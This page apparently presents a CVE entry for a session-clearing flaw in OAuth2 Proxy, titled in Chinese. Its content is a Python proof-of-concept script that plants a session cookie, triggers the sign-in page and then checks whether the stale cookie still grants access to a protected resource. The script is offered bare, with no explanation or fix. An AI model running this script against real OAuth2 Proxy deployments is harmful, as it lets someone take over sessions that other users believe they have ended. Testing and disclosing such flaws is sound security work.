CVE-2026-34454 OAuth2 Proxy会话清理失效漏洞

import requests # Target URL configuration target_url = "https://target-oauth2-proxy.com/" sign_in_url = "https://target-oauth2-proxy.com/oauth2/sign_in" # Create a session to simulate a browser session = requests.Session() # Step 1: Simulate a session that a user left behind # In a real scenario, this cookie is obtained after authentication session.cookies.set("_oauth2_proxy", "VALID_SESSION_COOKIE_TOKEN_HERE") print("[*] Simulating user logout by visiting sign-in page...") # Step 2: Trigger the logout flow (rendering the sign-in page) # The vulnerability occurs when the sign-in page is rendered as part of logout response = session.get(sign_in_url) # Step 3: Check if the session cookie persists after logout remaining_cookie = session.cookies.get("_oauth2_proxy") if remaining_cookie: print("[+] Vulnerability Confirmed: Session cookie was NOT cleared.") print(f"[+] Cookie Value: {remaining_cookie}") print("[+] A subsequent user on this workstation can still access the session.") # Verify access verify_resp = session.get(target_url) if verify_resp.status_code == 200: print("[+] Successfully accessed protected resource using the stale session.") else: print("[-] Session cookie cleared. System patched or using dedicated logout endpoint.")